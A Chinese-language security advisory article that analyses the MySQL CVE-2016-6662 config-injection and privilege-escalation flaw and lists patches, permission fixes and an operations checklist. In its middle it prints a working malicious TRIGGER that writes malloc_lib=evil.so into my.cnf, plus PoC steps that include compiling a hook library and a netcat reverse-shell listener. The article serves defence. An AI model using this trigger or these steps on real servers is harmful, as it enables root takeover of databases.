萬盛學電腦網

您现在的位置: 萬盛學電腦網 >> 程式設計 >  >> 資料庫 >> MySQL 教學

MySQL 遠端程式碼執行 / 權限提升漏洞(CVE-2016-6662)深度剖析與防護

漏洞概覽

項目詳情
CVE 編號CVE-2016-6662
影響版本MySQL ≤ 5.7.15、5.6.33、5.5.52 及衍生版(MariaDB、Percona Server)
風險等級高(CVSS 7.8),可導致 root 程式碼執行
攻擊向量本地/遠端(需 FILE 權限或 SQL 注入配合)
核心機制惡意寫入 my.cnf 注入 malloc_lib,啟動時 LD_PRELOAD 載入惡意 .so

攻擊鏈核心邏輯

  1. 前提: 攻擊者擁有 FILE 權限(或透過 SQL 注入獲得)。
  2. 手段: 利用 general_log 機制,將 general_log_file 指向 my.cnf(或 datadir/my.cnf),開啟日誌,寫入惡意 [mysqld] malloc_lib=/tmp/evil.so,關閉日誌。
  3. 觸發: MySQL 重啟(部署更新、系統重啟、管理員手動重啟)時,mysqld_safe 讀取配置,載入惡意共享庫,以 root 權限 執行任意程式碼。

三種實際利用路徑

路徑 1:配置檔權限配置不當(/etc/my.cnf 屬主為 mysql)

許多錯誤安裝指南建議 chown mysql /etc/my.cnf,導致 mysql 使用者可寫入全域配置,直接注入。

路徑 2:資料目錄建立新配置檔(/var/lib/mysql/my.cnf)

預設安裝下 mysql 使用者對 datadir 有寫權限。MySQL 5.5/5.6 的 mysqld_safe 會自動讀取 $DATADIR/my.cnf;5.7 雖移除此行為,但若存在 /var/lib/mysql/.my.cnf 仍會被讀取。

路徑 3:惡意 Trigger 繞過權限(無需管理員帳號)

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT ON `active_table` FOR EACH ROW
BEGIN
  SET @sql = CONCAT("SET GLOBAL general_log_file='/var/lib/mysql/my.cnf';",
                    "SET GLOBAL general_log=ON;",
                    "SELECT '[mysqld] malloc_lib=/var/lib/mysql/evil.so' INTO @dummy;",
                    "SET GLOBAL general_log=OFF;");
  PREPARE stmt FROM @sql; EXECUTE stmt; DEALLOCATE PREPARE stmt;
END;

當應用向 active_table 寫入資料時,Trigger 以 DEFINER 權限(root)執行,完成配置注入。

PoC 關鍵步驟(僅供防禦驗證)

  1. 編譯惡意共享庫:gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl
  2. 修改 .c 中 ATTACKERS_IP、SHELL_PORT、INJECTED_CONF 路徑。
  3. 執行 Python Exploit 腳本注入配置。
  4. 攻擊機 nc -lvp 6033 等待反彈 Shell。
  5. 觸發 MySQL 重啟(或等待維護窗口)。

防禦與緩解措施(按優先級)

  1. 升級至修補版本: MySQL 5.7.16+、5.6.34+、5.5.53+、MariaDB 10.1.18+、Percona 5.7.16-10+。
  2. 配置檔權限收斂: chown root:root /etc/my.cnf /etc/mysql/my.cnf; chmod 644 /etc/my.cnf,確保 mysql 使用者不可寫入任何 my.cnf。
  3. 停用 general_log 或限制動態修改: SET GLOBAL general_log=OFF; 並移除 SUPER 權限對非管理帳號的授予。
  4. 啟用 SELinux / AppArmor: 強制限制 mysqld_safe 載入非標準路徑共享庫。
  5. 最小權限原則: 業務帳號絕不授予 FILE、SUPER、TRIGGER 權限。
  6. 檔案完整性監控(FIM): 使用 auditd 或 Tripwire 監控 /etc/my.cnf、/var/lib/mysql/*.cnf 變更並告警。

給營運團隊的檢查清單

  • [ ] 所有 MySQL 實例版本是否 ≥ 修補版本?
  • [ ] /etc/my.cnf、/etc/mysql/my.cnf 擁有者是否為 root:root?
  • [ ] datadir 下是否存在非預期的 .cnf、.my.cnf?
  • [ ] 業務資料庫帳號是否被錯授 FILE / TRIGGER?
  • [ ] 是否部署 FIM 對配置檔變更告警?
copyright © 萬盛學電腦網 all rights reserved